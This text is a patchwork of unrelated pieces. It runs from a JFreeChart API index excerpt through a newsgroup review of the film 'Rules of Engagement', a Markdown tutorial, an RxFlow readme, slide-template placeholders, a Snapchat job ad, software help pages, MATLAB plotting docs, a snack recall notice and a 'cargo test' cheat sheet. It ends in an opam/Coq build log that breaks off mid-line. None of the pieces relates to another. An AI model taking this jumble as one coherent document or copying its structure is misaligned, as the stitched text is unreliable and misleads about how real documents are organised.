- WaferMapDataset - Class in org.jfree.data.general
-
- WaferMapDataset(int, int) - Constructor for class org.jfree.data.general.WaferMapDataset
-
Creates a new dataset using the default chipspace.
- WaferMapDataset(int, int, Number) - Constructor for class org.jfree.data.general.WaferMapDataset
-
Creates a new dataset.
- WaferMapPlot - Class in org.jfree.chart.plot
-
A wafer map plot.
- WaferMapPlot() - Constructor for class org.jfree.chart.plot.WaferMapPlot
-
Creates a new plot with no dataset.
- WaferMapPlot(WaferMapDataset) - Constructor for class org.jfree.chart.plot.WaferMapPlot
-
Creates a new plot.
- WaferMapPlot(WaferMapDataset, WaferMapRenderer) - Constructor for class org.jfree.chart.plot.WaferMapPlot
-
Creates a new plot.
- WaferMapRenderer - Class in org.jfree.chart.renderer
-
A renderer for wafer map plots.
- WaferMapRenderer() - Constructor for class org.jfree.chart.renderer.WaferMapRenderer
-
Creates a new renderer.
- WaferMapRenderer(int, int) - Constructor for class org.jfree.chart.renderer.WaferMapRenderer
-
Creates a new renderer.
- WaferMapRenderer(Integer, Integer) - Constructor for class org.jfree.chart.renderer.WaferMapRenderer
-
Creates a new renderer.
- WARNING - Static variable in class org.jfree.chart.plot.ThermometerPlot
-
A constant for the 'warning' range.
- WaterfallBarRenderer - Class in org.jfree.chart.renderer.category
-
A renderer that handles the drawing of waterfall bar charts, for use with
the
CategoryPlot
class.
- WaterfallBarRenderer() - Constructor for class org.jfree.chart.renderer.category.WaterfallBarRenderer
-
Constructs a new renderer with default values for the bar colors.
- WaterfallBarRenderer(Paint, Paint, Paint, Paint) - Constructor for class org.jfree.chart.renderer.category.WaterfallBarRenderer
-
Constructs a new waterfall renderer.
- Week - Class in org.jfree.data.time
-
A calendar week.
- Week() - Constructor for class org.jfree.data.time.Week
-
Creates a new time period for the week in which the current system
date/time falls.
- Week(int, int) - Constructor for class org.jfree.data.time.Week
-
Creates a time period representing the week in the specified year.
- Week(int, Year) - Constructor for class org.jfree.data.time.Week
-
Creates a time period representing the week in the specified year.
- Week(Date) - Constructor for class org.jfree.data.time.Week
-
Creates a time period for the week in which the specified date/time
falls, using the default time zone and locale (the locale can affect the
day-of-the-week that marks the beginning of the week, as well as the
minimal number of days in the first week of the year).
- Week(Date, TimeZone) - Constructor for class org.jfree.data.time.Week
-
- Week(Date, TimeZone, Locale) - Constructor for class org.jfree.data.time.Week
-
Creates a time period for the week in which the specified date/time
falls, calculated relative to the specified time zone.
- WEST_ABOVE - Static variable in class org.jfree.chart.plot.PolarAxisLocation
-
Axis above west.
- WEST_BELOW - Static variable in class org.jfree.chart.plot.PolarAxisLocation
-
Axis below west.
- WIDTHMETHOD_AVERAGE - Static variable in class org.jfree.chart.renderer.xy.CandlestickRenderer
-
The average width method.
- WIDTHMETHOD_INTERVALDATA - Static variable in class org.jfree.chart.renderer.xy.CandlestickRenderer
-
The interval data method.
- WIDTHMETHOD_SMALLEST - Static variable in class org.jfree.chart.renderer.xy.CandlestickRenderer
-
The smallest width method.
- WindDataset - Interface in org.jfree.data.xy
-
Interface for a dataset that supplies wind intensity and direction values
observed at various points in time.
- WindItemRenderer - Class in org.jfree.chart.renderer.xy
-
A specialised renderer for displaying wind intensity/direction data.
- WindItemRenderer() - Constructor for class org.jfree.chart.renderer.xy.WindItemRenderer
-
Creates a new renderer.
- WindNeedle - Class in org.jfree.chart.needle
-
A needle that indicates wind direction, for use with the
CompassPlot
class.
- WindNeedle() - Constructor for class org.jfree.chart.needle.WindNeedle
-
Default constructor.
- WORD - Static variable in class org.jfree.chart.util.HexNumberFormat
-
Number of hexadecimal digits for a word.
- WORKING_CALENDAR - Static variable in class org.jfree.data.time.RegularTimePeriod
-
- workingCalendar - Variable in class org.jfree.data.time.DynamicTimeSeriesCollection
-
A working calendar (to recycle)
- workingLine - Variable in class org.jfree.chart.renderer.xy.XYItemRendererState
-
A line object that the renderer can reuse to save instantiating a lot
of objects.
- wrapOffset(int) - Method in class org.jfree.data.time.DynamicTimeSeriesCollection
-
??
- writeAsJPEG(Drawable, int, int, File) - Static method in class org.jfree.chart.util.ExportUtils
-
Writes the current content to the specified file in JPEG format.
- writeAsPDF(Drawable, int, int, File) - Static method in class org.jfree.chart.util.ExportUtils
-
Writes a Drawable
to the specified file in PDF format.
- writeAsPNG(Drawable, int, int, File) - Static method in class org.jfree.chart.util.ExportUtils
-
Writes the current content to the specified file in PNG format.
- writeAsSVG(Drawable, int, int, File) - Static method in class org.jfree.chart.util.ExportUtils
-
Writes the current content to the specified file in SVG format.
- writeBufferedImage(BufferedImage, String, OutputStream) - Static method in class org.jfree.chart.encoders.EncoderUtil
-
Encode the image in a specific format and write it to an OutputStream.
- writeBufferedImage(BufferedImage, String, OutputStream, float) - Static method in class org.jfree.chart.encoders.EncoderUtil
-
Encode the image in a specific format and write it to an OutputStream.
- writeBufferedImage(BufferedImage, String, OutputStream, boolean) - Static method in class org.jfree.chart.encoders.EncoderUtil
-
Encode the image in a specific format and write it to an OutputStream.
- writeBufferedImage(BufferedImage, String, OutputStream, float, boolean) - Static method in class org.jfree.chart.encoders.EncoderUtil
-
Encode the image in a specific format and write it to an OutputStream.
- writeBufferedImageAsJPEG(OutputStream, BufferedImage) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a BufferedImage
to an output stream in JPEG format.
- writeBufferedImageAsJPEG(OutputStream, float, BufferedImage) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a BufferedImage
to an output stream in JPEG format.
- writeBufferedImageAsPNG(OutputStream, BufferedImage) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a BufferedImage
to an output stream in PNG format.
- writeBufferedImageAsPNG(OutputStream, BufferedImage, boolean, int) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a BufferedImage
to an output stream in PNG format.
- writeChartAsJPEG(OutputStream, JFreeChart, int, int) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a chart to an output stream in JPEG format.
- writeChartAsJPEG(OutputStream, float, JFreeChart, int, int) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a chart to an output stream in JPEG format.
- writeChartAsJPEG(OutputStream, JFreeChart, int, int, ChartRenderingInfo) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a chart to an output stream in JPEG format.
- writeChartAsJPEG(OutputStream, float, JFreeChart, int, int, ChartRenderingInfo) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a chart to an output stream in JPEG format.
- writeChartAsPNG(OutputStream, JFreeChart, int, int) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a chart to an output stream in PNG format.
- writeChartAsPNG(OutputStream, JFreeChart, int, int, boolean, int) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a chart to an output stream in PNG format.
- writeChartAsPNG(OutputStream, JFreeChart, int, int, ChartRenderingInfo) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a chart to an output stream in PNG format.
- writeChartAsPNG(OutputStream, JFreeChart, int, int, ChartRenderingInfo, boolean, int) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a chart to an output stream in PNG format.
- writeImageMap(PrintWriter, String, ChartRenderingInfo, boolean) - Static method in class org.jfree.chart.ChartUtilities
-
Writes an image map to an output stream.
- writeImageMap(PrintWriter, String, ChartRenderingInfo, ToolTipTagFragmentGenerator, URLTagFragmentGenerator) - Static method in class org.jfree.chart.ChartUtilities
-
Writes an image map to the specified writer.
- writeImageMap(PrintWriter, String, ChartRenderingInfo) - Static method in class org.jfree.chart.imagemap.ImageMapUtilities
-
Writes an image map to an output stream.
- writeImageMap(PrintWriter, String, ChartRenderingInfo, boolean) - Static method in class org.jfree.chart.imagemap.ImageMapUtilities
-
Writes an image map to an output stream.
- writeImageMap(PrintWriter, String, ChartRenderingInfo, ToolTipTagFragmentGenerator, URLTagFragmentGenerator) - Static method in class org.jfree.chart.imagemap.ImageMapUtilities
-
Writes an image map to an output stream.
- writeScaledChartAsPNG(OutputStream, JFreeChart, int, int, int, int) - Static method in class org.jfree.chart.ChartUtilities
-
Writes a scaled version of a chart to an output stream in PNG format.


"RULES OF ENGAGEMENT" *** out of ***** Review by R.L. Strong
PARAMOUNT PICTURES PRESENTS IN ASSOCIATION WITH SEVEN ARTS PICTURES A RICHARD D. ZANUCH / SCOTT RUDIN PRODUCTION A WILLIAM FRIEDKIN FILM
TOMMY LEE JONES SAMUEL L. JACKSON "RULES OF ENGAGEMENT" GUY PEARCE BRUCE GREENWOOD BLAIR UNDERWOOD PHILIP BAKER HALL ANNE ARCHER AND BEN KINGSLEY MUSIC BY MARK ISHAM CO-PRODUCER ARNE SCHMIDT COSTUMES DESIGNED BY GLORIA GRESHAM EDITED BY AUGIE HESS PRODUCTION DESIGNER ROBERT LAING DIRECTORS OF PHOTOGRAPHY WILLIAM FRAKER NICOLA PERCORINI EXECUTIVE PRODUCERS ADAM SCHROEDER JAMES WEBB STORY BY JAMES WEBB SCREENPLAY BY STEPHEN GAGHAN PRODUCED BY RICHARD D. ZANUCK SCOTT RUDIN DIRECTED BY WILLIAM FRIEDKIN
"The line between being a Hero and a Murderer is a very, very thin one" So says Colonel Hayes Hodges (Tommy Lee Jones) in his attempt to defend his friend Colonel Terry L. Childers (Samuel L. Jackson) against charges of ordering his troops to fire on an unarmed group of protesters at the U.S. embassy in Yemen. "Rules of Engagement" is an interesting film on many levels but ultimately doesn't quite work because of a week second half.
The film opens in Vietnam in 1968, as Marine Colonels Hayes Hodges and Terry Childers work their way through the jungle. Splitting up to find an enemy strong hold, the two teams are attacked. Childers' squad is attacked first but manages to capture the Vietnamese Colonel Cao (Baoan Coleman). It is almost immediately afterwards that Hodges troop is attacked while crossing a swamp. The casualties are high and Hodges is wounded. As Childers hears the fire fight, he commands Colonel Cao to radio his men and order them to retreat. Childers' threatens Cao with death if the order is not carried out. Cao refuses. Childers' then shoots and kills Cao's radio operator. Cao then relents under fear of his own death.
Hodges is saved. Childers is a hero and the two men cement a friendship that will stand as a greater honor than anything else in the Marine Corps. The film moves forward to present day. Colonel Hayes Hodges is retiring. A career marine, Hodges feels weary and tired, disappointed in not living up to his Father's (Philip Baker Hall) legacy.
In the Middle East, tensions are rising. Situations come to a head when the U.S. Embassy in Yemen is surrounded by a large crowd of Demonstrators. Snipers fire at the builder, as workers scramble trying to salvage whatever they can. Ambassador Mourain (Ben Kingsley), his wife (Anne Archer) and their son are all in danger. The U.S. Government orders the marines to send in a rescue team to extract the Americans and their families. Col. Terry Childers, is ordered to lead a squadron of Marines in the rescue attempt. Dodging sniper fire, Hodges locates the Ambassador and leads him and his family to a waiting helicopter. Childers them returns to the roof of the Embassy to retrieve the U.S. flag. In the process, one of Childers' men is killed. Childers sends the Ambassador on his way, and returns to his troops. Two more marines are killed. Childers then orders his men to open fire on the crown gathered at the front of the Embassy.
The situation comes to a head when word gets back to the State Department. A political firestorm has begun. National Security Adviser, William Sokal (Conrad Bachmann), demands that Colonel Childers be brought up on charges of murder. As there is no evidence that the crowd in front of the Embassy had weapons, Childers must have fired into the crowd of civilians, instead of firing at the snipers on the roofs across from the Embassy,.
Knowing that the situation is dire, Childers goes to the one man whom he feels can help him.. Hayes Hodges. The two men start to investigate the case with only eight days before Court Marshal proceedings begin. Hodges has trepidation's about his abilities. He's not a very good attorney and knows it. With the short time he has, Hodges flies to Yemen in an effort to find a corroborating witness for his friend and client. When Hodges returns, his own doubts about his friend jeopardize both the case and their friendship.
"Rules of Engagement" is seemingly an honest film. The first half of the feature is very well played, with a good level of intensity and commitment. It's the second half of the film, the trial itself when the film starts to bog down into typical cinematic territory. The biggest mistake the film makes is in having a nominal villain in the piece.
Having the National Security Adviser commit such a heinous act in the body of the film completely stops the momentum of the film dead in its tracks. Giving the audience an identifiable bad guy is such a concession to market research, that the film cannot recover from it. Furthermore, the film did not need this concession, as the plot creates the situation without it. The addition of the scene becomes redundant.
One of the biggest and most noble surprises in the film, is the honest and non-inflammatory was that the Marine Corps are portrayed. The introductory scenes in Vietnam are as palpable as anything by Kubrick or Oliver Stone. This sequence is very well directed and performed, and is a grand introduction to the rest of the film.
The courtroom scenes are as traditional as one could expect. As with other films of this type, it is the performances that carry the scenes forward. Samuel L. Jackson carries his scenes with an intense and proud demeanor. His Colonel Terry L. Childers is a proud Marine and a proud man. His instinctive and passionate command is both refreshing and invigorating. A very good performance.
Tommy Lee Jones gives the best performances in the film. A man, equally proud of his military command, but haunted by his own failures. As Retired Colonel Hayes Hodges is called back into duty at the request of his friend, Jones plays the difficult emotions and crisis with a subtle grace that simmers with both apprehension and self doubt. Tommy Lee Jones has always given credible and exciting performances, but here he is called upon to internalize his fear and anger. And when they finally come to the surface, that explosion is also reigned in. In his fight with Childers, Hodges continually hesitates. Doubting his own conclusions, and again disliking himself for not trusting the man who had save his life in Vietnam.
"Rules of Engagement" marks the return of famed Director William Friedkin. Friedkin's career has been spotty over the last decade. While his style and finesse have always been beyond reproach, his choice of material has not always been up to the level of his talent. Here, the director has a script that challenges him while also playing it safe. There is much to like about the film. "Rules of Engagement" does not succumb to the jingoist marching usually associated with films about the military. Nor does it play the military as inherently evil. The soldiers are all played as men who have chosen to serve their country. And for a change, the soldiers are shown to have individual ideals and passions. Guy Pearce (as Prosecutor Major Mark Biggs) almost stealing the film from the two leads. Pearce (who was remarkable in "L.A. Confidential"), continues to amaze the audience with his command of dialects (he is Australian), and the naturalness of his performance.
"Rules of Engagement" is a marginally good film. It is worth seeing. But it would have played much better had not the villainous subterfuge been so obvious. A concession to modern day teen audiences, that the film is not even aimed at.
Owner & Copyright © 2000 R. L Strong All Rights Reserved Nothing in this article may be quoted or re-printed without the express written permission of the author.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Markdown, in short, is a way of writing plain text that is easily read by humans and computers alike. Raw Markdown is easily understood by human readers but can be run through computer programs that convert the simple markup into formatted text. Here's how to write a Markdown document:
Example Markdown document:
# Heading Level 1
This is a supporting paragraph. All you do is hit ENTER to create a new paragraph. Each paragraph should be separated by a blank line - exacly how it would naturally look.
## Heading Level 2
This is another supporting paragraph except _this_ time we have *italic* text __bold__ text **together**.
NOTE: You can use a single asterisk or underscore before and after an italicized word or set of words or you can use a double underscore or asterisk for bolded text. **All the text from here to here would be bold** and *All the text from here to here would be in italics*. (You could substitute asterisks for underscores in this case too).
### Heading Level 3
Now we're going to get into lists
* Unordered list item 1
* Item two
* And item 3
To create ordered lists, all you need to do is add numbers instead of asterisks! Check it out:
1. This is...
2. and ordered what?
3. An ordered list.
This is a supporting paragraph. All you do is hit ENTER to create a new paragraph. Each paragraph should be separated by a blank line - exacly how it would naturally look.
This is another supporting paragraph except this time we have italic text bold text together.
NOTE: You can use a single asterisk or underscore before and after an italicized word or set of words or you can use a double underscore or asterisk for bolded text. All the text from here to here would be bold and All the text from here to here would be in italics. (You could substitute asterisks for underscores in this case too).
Now we're going to get into lists
To create ordered lists, all you need to do is add numbers instead of asterisks! Check it out:
Headings have 6 levels. All you need to do is add one "#" for each level you'd like your heading to be. And that's about all you need to know to write in Markdown! Try iy! It's faster and more fun than fighting with Word's formatting buttons. You'll love it.


RxFlow
RxFlow is a navigation framework for iOS applications based on a Reactive Coordinator pattern.
RxFlow aims to
- Promote the cutting of storyboards into atomic units to enable collaboration and reusability of UIViewControllers
- Allow the presentation of a UIViewController in different ways according to the navigation context
- Ease the implementation of dependency injection
- Remove any navigation mechanism from UIViewControllers
- Promote reactive programing
- Express the navigation in a declarative way while addressing the majority of the navigation cases
- Facilitate the cutting of an application into logical blocks of navigation
Installation
pod 'RxFlow'
Authors
Thibault Wittemberg


‹#›
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level


We’re looking for a Product Data Scientist to join Team Snapchat at our Los Angeles HQ! Working alongside engineering, product design, product management and our Augmented Reality design team, you will create data-based approaches to solving difficult business and product problems and generate business and product insights to help Snap ship the best product in the world.
What you’ll do:
Collaborate with Product Management, AR-design, Product Design and Engineering and apply your expertise in quantitative analysis to create and scale insights
Create and test hypotheses
Create visuals and dashboards to effectively report your insights
Communicate your findings and help making date-informed decisions
Minimum qualifications:
Experience with causal inference techniques, experimental design and/or A/B testing
Fluency in SQL or other big data querying language
Experience with a programming language, such as Python
Experience with creating visuals and dashboards in BI tools (e.g. Looker, Tableau, Power BI, Google Data Studio)
Preferred qualifications:
2+ year of experience in a product-focused role at a social media and/or mobile technology company
2+ years of experience in quantitative analysis & data science or a related field
Bachelor’s degree in math, statistics, computer science, or other quantitative field
Master or Ph.D degree in math, statistics, computer science, or other quantitative field
Strong statistical knowledge
Experience with analytical packages such as SciPy or R
A team player who can collaborate with engineers, product managers, designers and other cross-functional teams
An understanding of Snapchat with great product sense and product understanding
Excellent interpersonal skills, including verbal and written communication
High attention to detail
Ability to initiate and drive projects to completion with minimal guidance
Ability to communicate the results of analyses in a clear and effective manner to a senior audience


The Viewer
The Viewer is a separate window that provides text and graphical views of selected entities and instances. The Viewer appears whenever you select a View from the View menu or double click an entity in the Browser.
The following shows the Viewer after double-clicking an entity in the Browser’s Results pane.
The left side of the Viewer contains an Emacs session that displays a text view of the entity you selected in the Browser.
The right side of the Viewer contains the Minibrowser (The Minibrowser). You can enable and disable the Minibrowser by clicking the rectangular icon to the right of the Help menu.
The Viewer displays the source code for your selection. By default, source text opens with an Emacs. The viewer window contains its own menu options that allow you to manipulate how you view this data and search the text of your source.
The main viewing area is to the left (in this case, a text view focused on the function CreatePipe). Along the bottom of the Viewer window is the minibuffer, which displays descriptions of either the currently selected entity, or the cursor focus. At the right side of the Viewer window is the Minibrowser, which provides a subset of Browser functionality.
Once you pull content in from the Browser, you can use the Viewer’s menu options to further manage the display.
You can divide Viewer into as many as three independent views, each of which can display one of the view formats listed previously. To do so, select View > Split Viewer from the menu. The following shows text, call tree, and outline views of CreatePipe.
To reduce the number of views in the Viewer, select View > Remove Viewer. This closes the view closest to the bottom of the Viewer.


--- title: Plotting Spherical Functions sidebar: documentation_sidebar permalink: S2FunPlotting.html folder: documentation toc: false ---
In this chapter various ways of plotting spherical functions are explained. We start by defining some example functions.
{% highlight matlab %} % the smiley sF1 = S2Fun.smiley; % some osilatory function f = @(v) 0.1*(v.theta+sin(8*v.x).*sin(8*v.y)); sF2 = S2FunHarmonic.quadrature(f, 'bandwidth', 150); {% endhighlight %}The default plot
command generates a colored plot without contours
plot(sF1)
is the same as pcolor(sF1)
nonfilled contour plot plots only the contour lines
{% highlight matlab %} contour(sF1, 'LineWidth', 2); {% endhighlight %}filled contour plot plots the contour lines
{% highlight matlab %} contourf(sF1, 'LineWidth', 2); {% endhighlight %}3D plot of a sphere colored accordingly to the function values.
{% highlight matlab %} plot3d(sF1); set(gca,'CameraUpVector',[0 10 0]) set(gca,'CameraPosition',[-9 0 10]) {% endhighlight %}3D plot where the radius of the sphere is transformed according to the function values
{% highlight matlab %} surf(sF1) axis off set(gca,'CameraUpVector',[0 1 0]) set(gca,'CameraPosition',[-9 0 10]) {% endhighlight %}Plot the intersection of the surf plot with a plane defined by a normal vector v
plotting the Fourier coefficients
{% highlight matlab %} close all plotSpektra(sF1,'FontSize',15,'linewidth',2); xlim([0,40]) {% endhighlight %}The more specific plot options are covered in the respective classes.


--- layout: post title: Retour de vacances description: animatic storyboard for Lalux date: '2019-11-28 10:10:12 +0100' categories: - Storyboards - Animation ---
Lalux Retour de vacances, storyboard, directed by Nico Galoux, produced by HUGGGY.


Cheese Nips recalled in Hawaii due to possible plastic in box | Honolulu Star-Advertiser
A cheesy cracker snack in Hawaii has been recalled because the treat may contain pieces of plastic, the state Department of Health said.
There may be small food-grade yellow plastic pieces from a dough scraper in 11-ounce boxes of Cheese Nips, the Health Department said today. The plastic may have entered into a limited amount of product during the production process.
The manufacturer, Mondelez Global, became aware of the issue when plastic pieces were noticed on the manufacturing equipment.
The recall is limited to Cheese Nips available nationwide and in Hawaii, with a retail UPC of “0 44000 03453” and a “Best When Used By Date” of May 18, 19, and 20 in 2020.
No reports of injury or illness have been reported to Mondelez Global, the U.S. Food and Drug Administration said.
Anyone with this product should not eat it and should throw it away. Consumers can all the company at 1-844-366-1171, 24 hours a day for more information.


cargo test
Execute the unit and integration tests of a Rust package.
More information: home page
- Only run tests containing a specific string in their names:
cargo test testname
- Set the number of simultaneous running test cases:
cargo test -- --test-threads=count
- Require that `Cargo.lock` is up to date:
cargo test --locked
- Test artifacts in release mode, with optimizations:
cargo test --release
- Test all packages in the workspace:
cargo test --workspace
- Run tests for a package:
cargo test --package package
- Run tests without hiding output from test executions:
cargo test -- --nocapture


📅 (2023-02-26 05:40:11 UTC)
# Packages matching: installed # Name # Installed # Synopsis base-bigarray base base-threads base base-unix base conf-findutils 1 Virtual package relying on findutils conf-gmp 4 Virtual package relying on a GMP lib system installation coq 8.15.1 Formal proof management system dune 3.6.2 Fast, portable, and opinionated build system ocaml 4.14.0 The OCaml compiler (virtual package) ocaml-base-compiler 4.14.0 Official release 4.14.0 ocaml-config 2 OCaml Switch Configuration ocaml-options-vanilla 1 Ensure that OCaml is compiled with no special options enabled ocamlfind 1.9.5 A library manager for OCaml zarith 1.12 Implements arithmetic and logical operations over arbitrary-precision integers # opam file: opam-version: "2.0" maintainer<EMAIL_ADDRESS>homepage: "http://coquelicot.saclay.inria.fr/" dev-repo: "git+https://gitlab.inria.fr/coquelicot/coquelicot.git" bug-reports: "https://gitlab.inria.fr/coquelicot/coquelicot/issues" license: "LGPL-3.0-or-later" build: [ ["autoconf"] {dev} ["./configure"] ["./remake" "-j%{jobs}%"] ] install: ["./remake" "install"] depends: [ "coq" {>= "8.8"} "coq-mathcomp-ssreflect" {>= "1.6"} "conf-autoconf" {build & dev} ("conf-g++" {build} | "conf-clang" {build}) ] tags: [ "keyword:real analysis" "keyword:topology" "keyword:filters" "keyword:metric spaces" "category:Mathematics/Real Calculus and Topology" "logpath:Coquelicot" "date:2020-12-11" ] authors: [ "Sylvie Boldo<EMAIL_ADDRESS>"Catherine Lelay<EMAIL_ADDRESS>"Guillaume Melquiond<EMAIL_ADDRESS>] synopsis: "A Coq formalization of real analysis compatible with the standard library" url { src: "https://coquelicot.gitlabpages.inria.fr/releases/coquelicot-3.2.0.tar.gz" checksum: "sha512=d7ac2dcc48499a95e73f875da0f24fec6714ad06f16c4675c764d0600034fa51c10c9eaaacef7943e1147a9412e24274228ac9d17f2c0e07eb86932bc2b264a1" }
true
Dry install with the current Coq version:
opam install -y --show-action coq-coquelicot.3.2.0 coq.8.15.1
Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:
true
opam list; echo; ulimit -Sv 4000000; timeout 4h opam install -y --deps-only coq-coquelicot.3.2.0 coq.8.15.1
opam list; echo; ulimit -Sv 16000000; timeout 4h opam install -y -v coq-coquelicot.3.2.0 coq.8.15.1
# Packages matching: installed # Name # Installed # Synopsis base-bigarray base base-threads base base-unix base conf-findutils 1 Virtual package relying on findutils conf-g++ 1.0 Virtual package relying on the g++ compiler (for C++) conf-gmp 4 Virtual package relying on a GMP lib system installation coq 8.15.1 Formal proof management system coq-mathcomp-ssreflect 1.16.0 Small Scale Reflection dune 3.6.2 Fast, portable, and opinionated build system ocaml 4.14.0 The OCaml compiler (virtual package) ocaml-base-compiler 4.14.0 Official release 4.14.0 ocaml-config 2 OCaml Switch Configuration ocaml-options-vanilla 1 Ensure that OCaml is compiled with no special options enabled ocamlfind 1.9.5 A library manager for OCaml zarith 1.12 Implements arithmetic and logical operations over arbitrary-precision integers [NOTE] Package coq is already installed (current version is 8.15.1). The following actions will be performed: - install coq-coquelicot 3.2.0 <><> Gathering sources ><><><><><><><><><><><><><><><><><><><><><><><><><><><><> Processing 1/1: [coq-coquelicot.3.2.0: http] [coq-coquelicot.3.2.0] downloaded from https://coquelicot.gitlabpages.inria.fr/releases/coquelicot-3.2.0.tar.gz Processing 1/1: <><> Processing actions <><><><><><><><><><><><><><><><><><><><><><><><><><><><> Processing 1/2: [coq-coquelicot: ./configure] + /home/bench/.opam/opam-init/hooks/sandbox.sh "build" "./configure" (CWD=/home/bench/.opam/ocaml-base-compiler.4.14.0/.opam-switch/build/coq-coquelicot.3.2.0) - checking for coqc... /home/bench/.opam/ocaml-base-compiler.4.14.0/bin/coqc - checking for coqdep... /home/bench/.opam/ocaml-base-compiler.4.14.0/bin/coqdep - checking for coqdoc... /home/bench/.opam/ocaml-base-compiler.4.14.0/bin/coqdoc - checking for SSReflect... - yes - checking for g++... g++ - checking whether the C++ compiler works... - yes - checking for C++ compiler default output file name... a.out - checking for suffix of executables... - checking whether we are cross compiling... - no - checking for suffix of object files... o - checking whether we are using the GNU C++ compiler... yes - checking whether g++ accepts -g... - yes - configure: building remake... - /usr/bin/ld: /opam-tmp/ccLIaiUt.o: in function `main': - remake.cpp:(.text.startup+0xae0): warning: the use of `tempnam' is dangerous, better use `mkstemp' - configure: creating ./config.status - config.status: creating Remakefile Processing 1/2: [coq-coquelicot: ./remake] + /home/bench/.opam/opam-init/hooks/sandbox.sh "build" "./remake" "-j4" (CWD=/home/bench/.opam/ocaml-base-compiler.4.14.0/.opam-switch/build/coq-coquelicot.3.2.0) - Building theories/AutoDerive.vo - Building theories/Compactness.vo - Building theories/Complex.vo - Building theories/Continuity.vo - Building theories/Derive.vo - Building theories/Derive_2d.vo - Building theories/Hierarchy.vo - Building theories/Rcomplements.vo - Building theories/Equiv.vo - Building theories/Iter.vo - Building theories/Lub.vo - Building theories/Rbar.vo - Building theories/Markov.vo - Building theories/Lim_seq.vo - Building theories/ElemFct.vo - Building theories/RInt.vo - Building theories/RInt_analysis.vo - Building theories/PSeries.vo - Building theories/SF_seq.vo - Building theories/Seq_fct.vo - Building theories/Series.vo - Building theories/Coquelicot.vo - Building theories/KHInt.vo - Building theories/RInt_gen.vo - File "./theories/Rcomplements.v", line 660, characters 2-37: - Warning: Duplicate clear of H [duplicate-clear,ssr] - File "./theories/Rcomplements.v", line 676, characters 2-20: - Warning: Duplicate clear of n [duplicate-clear,ssr] - File "./theories/Rcomplements.v", line 1383, characters 2-54: - Warning: Duplicate clear of n [duplicate-clear,ssr] - File "./theories/Rcomplements.v", line 1413, characters 2-54: - Warning: Duplicate clear of n [duplicate-clear,ssr] - File "./theories/Rcomplements.v", line 1434, characters 2-49: - Warning: Duplicate clear of Hl [duplicate-clear,ssr] - File "./theories/Rcomplements.v", line 1439, characters 2-26: - Warning: Duplicate clear of Hl [duplicate-clear,ssr] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.nil is deprecated since 8.12. use List.nil instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.nil is deprecated since 8.12. use List.nil instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1637, characters 19-28: - Warning: Notation RList.nil is deprecated since 8.12. use List.nil instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1638, characters 24-34: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.nil is deprecated since 8.12. use List.nil instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.nil is deprecated since 8.12. use List.nil instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.nil is deprecated since 8.12. use List.nil instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1637, characters 19-28: - Warning: Notation RList.nil is deprecated since 8.12. use List.nil instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1638, characters 24-34: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.nil is deprecated since 8.12. use List.nil instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1637, characters 19-28: - Warning: Notation RList.nil is deprecated since 8.12. use List.nil instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1630, characters 2-460: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1638, characters 24-34: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1656, characters 35-48: - Warning: Notation RList.Rlength is deprecated since 8.12. - use List.length instead [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1657, characters 19-29: - Warning: Notation RList.cons is 